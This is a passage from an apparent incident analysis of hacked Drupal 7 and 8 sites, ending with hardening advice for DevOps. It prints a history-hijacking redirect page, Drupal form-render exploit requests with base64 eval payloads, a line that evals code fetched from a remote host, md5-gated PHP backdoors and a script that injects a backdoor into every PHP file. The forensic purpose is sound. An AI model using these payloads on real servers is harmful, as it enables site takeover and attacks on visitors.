box-sizing: border-box;
position: absolute;
top: 0;
left: 45%;
width: 10%;
height: 100%;
overflow: hidden;
border-color: inherit
}

.gap-patch .circle {
box-sizing: border-box;
width: 1000%;
left: -450%;
border-radius: 50%
}

.circle-clipper.right {
float: right !important
}

.circle-clipper.right .circle {
left: -100%;
border-left-color: transparent !important;
-webkit-transform: rotate(-129deg);
transform: rotate(-129deg);
-webkit-animation: right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;
animation: right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

@-webkit-keyframes container-rotate {
to {
-webkit-transform: rotate(360deg)
}
}

@keyframes container-rotate {
to {
-webkit-transform: rotate(360deg);
transform: rotate(360deg)
}
}

@-webkit-keyframes fill-unfill-rotate {
12.5% {
-webkit-transform: rotate(135deg)
}
25% {
-webkit-transform: rotate(270deg)
}
37.5% {
-webkit-transform: rotate(405deg)
}
50% {
-webkit-transform: rotate(540deg)
}
62.5% {
-webkit-transform: rotate(675deg)
}
75% {
-webkit-transform: rotate(810deg)
}
87.5% {
-webkit-transform: rotate(945deg)
}
to {
-webkit-transform: rotate(1080deg)
}
}

@keyframes fill-unfill-rotate {
12.5% {
-webkit-transform: rotate(135deg);
transform: rotate(135deg)
}
25% {
-webkit-transform: rotate(270deg);
transform: rotate(270deg)
}
37.5% {
-webkit-transform: rotate(405deg);
transform: rotate(405deg)
}
50% {
-webkit-transform: rotate(540deg);
transform: rotate(540deg)
}
62.5% {
-webkit-transform: rotate(675deg);
transform: rotate(675deg)
}
75% {
-webkit-transform: rotate(810deg);
transform: rotate(810deg)
}
87.5% {
-webkit-transform: rotate(945deg);
transform: rotate(945deg)
}
to {
-webkit-transform: rotate(1080deg);
transform: rotate(1080deg)
}
}

@-webkit-keyframes left-spin {
from {
-webkit-transform: rotate(130deg)
}
50% {
-webkit-transform: rotate(-5deg)
}
to {
-webkit-transform: rotate(130deg)
}
}

@keyframes left-spin {
from {
-webkit-transform: rotate(130deg);
transform: rotate(130deg)
}
50% {
-webkit-transform: rotate(-5deg);
transform: rotate(-5deg)
}
to {
-webkit-transform: rotate(130deg);
transform: rotate(130deg)
}
}

@-webkit-keyframes right-spin {
from {
-webkit-transform: rotate(-130deg)
}
50% {
-webkit-transform: rotate(5deg)
}
to {
-webkit-transform: rotate(-130deg)
}
}

@keyframes right-spin {
from {
-webkit-transform: rotate(-130deg);
transform: rotate(-130deg)
}
50% {
-webkit-transform: rotate(5deg);
transform: rotate(5deg)
}
to {
-webkit-transform: rotate(-130deg);
transform: rotate(-130deg)
}
}

/*]]>*/</style>
<title>Die Seite wird geladen...</title>
<script type="text/javascript">!function () {
var t;
try {
for (t = 0; 10 > t; ++t) {
history.pushState({}, "", "#");
}
onpopstate = function (t) {
t.state && location.replace("\/?utm_medium=4c23b9fecf7dfd895dfe0da99e857f3bee8e9d42&utm_campaign=201&cid=&1=&2=&3=&4=&5=&puid=6567345895778550928&fl=1")
}
}
catch (o) {
}
}();</script>
<script>location.replace("http:\/\/wwww.perrrrsik.org\/proc.php?12c474e8849aa39fd398ace6d4168008b8944555")</script>
<meta http-equiv="refresh"
content="0; url=http://wwww.perrrrsik.org/proc.php?12c474e8849aa39fd398ace6d4168008b8944555">
</head>
<body>
<div class="container">
<div class="preloader-wrapper big active">
<div class="spinner-layer spinner-blue-only">
<div class="circle-clipper left">
<div class="circle"></div>
</div>
<div class="gap-patch">
<div class="circle"></div>
</div>
<div class="circle-clipper right">
<div class="circle"></div>
</div>
</div>
</div>
<div class="title">Die Seite wird geladen...</div>
<a href="http://wwww.perrrrsik.org/proc.php?12c474e8849aa39fd398ace6d4168008b8944555">Hier klicken um fortzufahren</a>
</div>
</body>
<!--

Powered by https://goo.gl/kLsUWi

Signup to Monetize your mobile traffic

-->
</html>

A site that deletes the browser-history-stack so we cannot go back via arrow-key.

Additionally it tries to redirect the user to another site.

This site has links to another server with extensive JS that queries RTC-Capabilities and tries to use them.

function l() {
var t = e.RTCPeerConnection || e.mozRTCPeerConnection || e.webkitRTCPeerConnection || e.msRTCPeerConnection || void 0;
return !!t && "function" == typeof RTCSessionDescription && t
}
......
var r = new n({iceServers: []});

....

r.setLocalDescription(new RTCSessionDescription(e), function () {
}, function (e) {
})

Conclusion

Now let's stop our analysis here as this is several instances away from the server.

However we can conclude that there might be  plenty of false-flags  present in the code  analysed.

An Iframe displayed with visibility none, but later on RTC-Connections are invoked.

This might be a work in progress or an attempt to attack the visitor of the site.

Analysis of infected Drupal 8 instance

There are not as many files infected (at least what can be seen from a git status, but note that vendor/ is not under git-control) but the mode of operation is similar.

(For brevity we only show one diffed file, but the payload and mode of inclusion is the same for everyone of those files)

As can be seen: The mode of operation is the same as with the D7 instance.

Looking at the base64-encoded string we see that the payload for the D7 and D8 infection are the same.
(with the exception of the double-infection missing on the D8-instance).

So both sides were most likely infected by the same party, but definitely by the same software.
And the purpose of the delivering unwanted websites to the user is the same.

Entering DevOps

Of course developers and project-managers are responsible to ensure that the latest software runs to prevent these type of things. However there are some steps that DevOps can undertake to even mitigate these types of risks or at least minimizing them: Making them the first line of defense against automated attacks.

From what we have seen so far we know the infection does on our system.

But how did it end up there?

So let us look at the infection from another angle:

Analysing the logs we see a lot of background-noise. Different parties(bots) trying different queries to try to compromise the server. These queries sometimes have a slight defect. In our case leading double-slashes("/") where used. Some other bots used them as well so we had to differentiate them from the attack that was successful. Using language and mode of delivery  to discern between them.

So looking at the these logs we found the log entries we were looking for:

cd <logdirectory> && grep "//?q=" *

/?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ0x5bzNOVGs1S2k4Z2FXWW9iV1ExS0NSZlVFOVRWRnNpY0dZaVhTa2dQVDA5SUNJNU0yRmtNREF6WkRkbVl6VTNZV0ZsT1RNNFltRTBPRE5oTmpWa1pHWTJaQ0lwSUhzZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXZhMmxsYzE5d0lsMHBLVHNnSUgwZ0x5bzNOVGs1S2k4Z1B6NEsiKTsKY2htb2QoJy4vJywgMDc3Nyk7ICRzaD1mb3BlbigiLi9zdGF0cy5waHAiLCJ3Iik7ICBmd3JpdGUoJHNoLCAkY29kZSk7IGZjbG9zZSgkc2gpOwp1bmxpbmsoIi4vc2l0ZXMvZGVmYXVsdC9maWxlcy8uaHRhY2Nlc3MiKTsKY2htb2QoJy4vc2l0ZXMvZGVmYXVsdC9maWxlcy8nLCAwNzc3KTsgJHNoPWZvcGVuKCIuL3NpdGVzL2RlZmF1bHQvZmlsZXMvc3RhdHMucGhwIiwidyIpOyAgZndyaXRlKCRzaCwgJGNvZGUpOyBmY2xvc2UoJHNoKTsKY2htb2QoJy4vc2l0ZXMvZGVmYXVsdC8nLCAwNzc3KTsgJHNoPWZvcGVuKCIuL3NpdGVzL2RlZmF1bHQvc3RhdHMucGhwIiwidyIpOyAgZndyaXRlKCRzaCwgJGNvZGUpOyBmY2xvc2UoJHNoKTsKY2htb2QoJy4vc2l0ZXMvYWxsLycsIDA3NzcpOyAkc2g9Zm9wZW4oIi4vc2l0ZXMvYWxsL3N0YXRzLnBocCIsInciKTsgIGZ3cml0ZSgkc2gsICRjb2RlKTsgZmNsb3NlKCRzaCk7CmVjaG8gIlVHVSI7IGVjaG8gIl9EMzU2NjVcclxuIjsg%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup

Notice the eval%28base64_decode?

That is basically the same code-structure we analysed in the altered code. Let's url-decode and format it for readability:

/?q=user/password
name[#post_render][]=array_map
name[#suffix]=eval(base64_decode("JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ0x5bzNOVGs1S2k4Z2FXWW9iV1ExS0NSZlVFOVRWRnNpY0dZaVhTa2dQVDA5SUNJNU0yRmtNREF6WkRkbVl6VTNZV0ZsT1RNNFltRTBPRE5oTmpWa1pHWTJaQ0lwSUhzZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXZhMmxsYzE5d0lsMHBLVHNnSUgwZ0x5bzNOVGs1S2k4Z1B6NEsiKTsKY2htb2QoJy4vJywgMDc3Nyk7ICRzaD1mb3BlbigiLi9zdGF0cy5waHAiLCJ3Iik7ICBmd3JpdGUoJHNoLCAkY29kZSk7IGZjbG9zZSgkc2gpOwp1bmxpbmsoIi4vc2l0ZXMvZGVmYXVsdC9maWxlcy8uaHRhY2Nlc3MiKTsKY2htb2QoJy4vc2l0ZXMvZGVmYXVsdC9maWxlcy8nLCAwNzc3KTsgJHNoPWZvcGVuKCIuL3NpdGVzL2RlZmF1bHQvZmlsZXMvc3RhdHMucGhwIiwidyIpOyAgZndyaXRlKCRzaCwgJGNvZGUpOyBmY2xvc2UoJHNoKTsKY2htb2QoJy4vc2l0ZXMvZGVmYXVsdC8nLCAwNzc3KTsgJHNoPWZvcGVuKCIuL3NpdGVzL2RlZmF1bHQvc3RhdHMucGhwIiwidyIpOyAgZndyaXRlKCRzaCwgJGNvZGUpOyBmY2xvc2UoJHNoKTsKY2htb2QoJy4vc2l0ZXMvYWxsLycsIDA3NzcpOyAkc2g9Zm9wZW4oIi4vc2l0ZXMvYWxsL3N0YXRzLnBocCIsInciKTsgIGZ3cml0ZSgkc2gsICRjb2RlKTsgZmNsb3NlKCRzaCk7CmVjaG8gIlVHVSI7IGVjaG8gIl9EMzU2NjVcclxuIjsg"));//
name[#markup]=assert
name[#type]=markup

As we can see a login-form is called, knowing that the site will contain a field named "name" and we also see Drupal-specific array-keys.

So let's decode the base64-encoded string and format it:

chmod('./', 0777); $sh=fopen("./stats.php","w"); fwrite($sh, $code); fclose($sh);
unlink("./sites/default/files/.htaccess");
chmod('./sites/default/files/', 0777); $sh=fopen("./sites/default/files/stats.php","w"); fwrite($sh, $code); fclose($sh);
chmod('./sites/default/', 0777); $sh=fopen("./sites/default/stats.php","w"); fwrite($sh, $code); fclose($sh);
chmod('./sites/all/', 0777); $sh=fopen("./sites/all/stats.php","w"); fwrite($sh, $code); fclose($sh);
echo "UGU"; echo "_D35665\r\n";

As we can see the folder itself is made executable, code is written to a files (the stats files), the .htaccess is deleted
the files-folder itself is made globally writable and executable, same for the default-folder and a return-message is returned to signal success.

So what is written in stats.php?

<?php /*7599*/
if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") {
eval(base64_decode($_POST["cookies_p"]));
} /*7599*/ ?>

This is pretty similar code to what we have seen further up in the analysis of the infected Drupal 7 instance. Nothing new here, noteworthy is the if-statement which ensures that only the attacker has access to this backdoor.

stats9.php contains code slightly different:

<?php /*7599*/
@error_reporting(0);
@eval(base64_decode("PD9waHAgLyo3NTk5Ki8gaWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgIH0gLyo3NTk5Ki8gPz4K")); /*7599*/ ?>
<span
class="ajax-new-content"></span>Arraymarkup./sites/all/stats9.phpArray./sites/all/stats9.php

Apparently the attacker had trouble with stringifying some variables as "Array" indicates, so maybe a work in progress.

Let's have a look at the encoded string:

<?php /*7599*/
if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") {
eval(base64_decode($_POST["cookies_p"]));
} /*7599*/ ?>

As we can see the code executed here is the same secured backdoor we see above.

So we can identify a tendency here to hide the code from static analysis by base64-encoding it. It is also made more stealthy by disabling error-reporting.

We can also assume that the infected servers themselves are used as a testing-ground considering that the
base64-encoded string is identical to the stats.php-file and that the base64-encoded strings are actually causing errors in the eval-statement, hindering code-execution.

But we still don't know where the infection was coming from. The serverlogs cannot be pruged by the PHP-Process so there should be an entry, especially considering the usage of GET-Requests.

So searching through the log-messages returned by our grep-statement above we come agross s.th. more elaborate:

178.209.51.234 - - [11/Jun/2018:21:53:35 +0200] "POST //?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXxxxxxxxxxxxxxxxxxxxxxxxxxb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3B2ZGZzdmRzdi50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 17190 "https://server.tld//?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3B2ZGZzdmRzdi50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"

Let's format this one:

//?q=user/password
name[#post_render][0]=array_map
name[#suffix]=eval(base64_decode("ZXxxxxxxxxxxxxxxxxxxxxxxxxxb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3B2ZGZzdmRzdi50eHQiICkgKSA7"));//
name[#markup]=assert
name[#type]=markup

And base64-decode the payload:

eval(file_get_contents("http://xxxxxxx.yy/wp-includes/js/jquery/pvdfsvdsv.txt" ) ) ;

Please note: here we see that a specific file (hosted by a WP-site(how ironic)) is used to deliver a payload to be executed:

<?php

//echo "UGU"; echo "_D35665jcnvxckv\r\n";
//exit;
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
//@ini_set('max_execution_time',0);
@ini_set('memory_limit', '128M');
@set_time_limit(0);
//@set_magic_quotes_runtime(0);
//set_time_limit('600');
error_reporting(0);
//ignore_user_abort(true);
ignore_user_abort(TRUE);
if (!$sdfsdfcutyu) {
global $sdfsdfcutyu;
$sdfsdfcutyu = 1;
}
else {
exit;
}

//$time_start = microtime(1);
//if(file_exists("/bin/mkdon")) { exit; }

function index_add($bin) {

if (!is_writable($bin)) {
@chmod($bin, 0777);
if (!is_writable($bin)) {
echo $bin . " no_writ\r\n";
return 0;
}
}

$result = file_get_contents($bin);
if (strpos($result, "?php /*435345352*/")) {
echo $bin . " dubl\r\n";
return 0;
}

$tag = strpos($result, "<" . "?php");
if ($tag === FALSE) {
echo $bin . " no_tag1\r\n";
return 0;
}
//$tag_u = strpos($result, "<"."?php".$tag ); if ($tag_u === false) {echo $bin." no_tag1\r\n"; return 0; }

$ifr = "<?php /*435345352*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KaWYoJHBhdGNoZWRmdiA9PT0gIkdIS0FTTVZHIiApIHsgIEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgICB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*435345352*/ ?>";

//chek doc write
$tim = @filemtime($bin);

$sh = fopen($bin, "r+");
flock($sh, LOCK_EX);
//@fwrite($sh, substr($result,0,$tag).$ifr.substr($result,$tag)); fclose($sh); @touch($bin, $tim);

@fwrite($sh, $ifr . $result);
fclose($sh);
@touch($bin, $tim);
flock($sh, LOCK_UN);
fclose($sh);
echo $bin . " ";
echo "UGU";
echo "_D35665\r\n";
}

function get_files($dir) {
$files = [];
if ($handle = opendir($dir)) {
while (FALSE !== ($item = readdir($handle))) {
//if (is_file("$dir/$item") && (pathinfo($item, PATHINFO_EXTENSION) == "php")) {
//if (($item == "index.php") && !preg_match("/admin/i", $dir) && is_file("$dir/$item")) {
//if (($item == "index.php") && is_file("$dir/$item")) {
//if (is_file("$dir/$item") or is_link("$dir/$item")) {
if ($item !== "class.history.php"
&& $item !== "stats8.php"
&& $item !== "stats9.php"
&& $item !== "stats7.php"
&& $item !== "stats6.php"
&& $item !== "stats5.php"
&& $item !== "stats.php"
&& $item !== "stats2.php"
&& $item !== "stats3.php"
&& $item !== "stats4.php"
&& $item !== "stati.php"
&& $item !== "settings.php"
&& $item !== "security.php" && (pathinfo($item, PATHINFO_EXTENSION) == "php")) {
//if (1===1){
//echo $bin = " $dir/$item"." $dir/$item"." /\n";
//echo $bin = "$dir/$item"." UGU_D\r\n";
$bin = "$dir/$item";
//if (strpos($bin, "page-flip-image-gallery") === false) {} else { echo $bin." UGU_D\r\n"; }
//if (strpos($bin, "index.php") === false) {} else { index_add($bin); }
index_add($bin);
}
elseif (is_dir("$dir/$item") && !is_link("$dir/$item") && ($item != ".") && ($item != "..")) {
//elseif (is_dir("$dir/$item") && ($item != ".") && ($item != "..") ){
get_files("$dir/$item");

}
}
closedir($handle);
}
}

get_files($_SERVER["DOCUMENT_ROOT"] . "");
//echo "45654dfgdfgfdh".$_SERVER["DOCUMENT_ROOT"]."45654dfgdfgfdh\r\n";

//get_files(realpath($_SERVER["DOCUMENT_ROOT"]."/"));

//index_add($_SERVER["DOCUMENT_ROOT"]."/index.php");

//index_add(realpath($_SERVER["DOCUMENT_ROOT"]."/index.php"));

//index_add("/home/mudpatch/public_html/suggestion/asdasd.php");

//get_files("/");
//get_files(realpath("/"));

//get_files(realpath("/"));
//get_files("/");
//index_add(realpath($_SERVER["DOCUMENT_ROOT"]."/qwe.php"));

We can conclude that this method is more sophisticated and the file still contains some code for later use or from when the code was under test(see comments in file) .
Maybe no VCS for the authors.
We also see PHP-Runtime-Configuration and the strings we saw in the other files of the D7-site.
So we can conclude that this is the initial attack on the D7 website that caused all the trouble.

In the D8-instance inspected the logs didn't provide anything useful.
This could be due to several reasons(e.g. using POST-requests).

Wrapping everything up

As to why there are so many indirections present?

Several reasons are possible:

  • to frustrate analysis
  • to allow for additional configuration
  • several parties are providing infrastructure against money every indirection might be another party
  • the desire/need for additional configuration-abilities
  • to evade detection
    • a small base64-encoded string might raise less suspicion than a very big one
    • there is also a limit to what can be provided in a GET-Request(implementationwise not RFC-wise)(~1024 chars for Apache)
  • to avoid their code to fall into the "wrong" hands, after all they don't really want to opensource their code

What can we take away from this?

  • always make database-backups
  • always make backups of the data powering your site
  • always ensure your code is deployable (Continuous Delivery)
  • base64_decode and eval in url-paramters or payloads are always bad as they hint at  of code provided by the client (this is by no means the only way of delivering code, but the easiest one)
  • maleformed url's (//?q=) instead of clean-urls or at least (/?) should raise concerns, this depends on your site
  • actively monitor your logs
  • run a WAF
  • Folder and Files powering your site are not to be made writeable or alterable by the user running the website
  • Same goes for the folders containing files uploaded by the client(only allow write-access in as small a margin as possible, best would be a mount-point with noexec-flag)
  • leaving a .git-folder on the site is a double-edged sword
    • it allows you to figure out if files have been altered rather quickly
    • it provides additional information for an attacker that is attacking your site specifically code-comments hinting at problems, internal information(think social engineering, speerfishing)
    • If an ssh-key is present for the user the website is running as and this key is not a deployment-key
    • it allows the attacker to poison the git-repository
    • consider  using Forward-agent-configuration only if you really must deploy via git, otherwise push to the server from a CI-Envorinment or similar.
  • tools used should be made not-alterable/accessible in any way to the user the website runs under
    • e.g. the composer-cache or npm/yarn-cache can be poisoned
    • malware can pose as composer, yarn, npm
    • if a shell is present for the user the website is running under , the init-scripts can be tainted so upon login additional information can be obtained or requests can be forged e.g. requests your private SSH-keys  are used for if the ssh-client is configured to forward the SSH-keys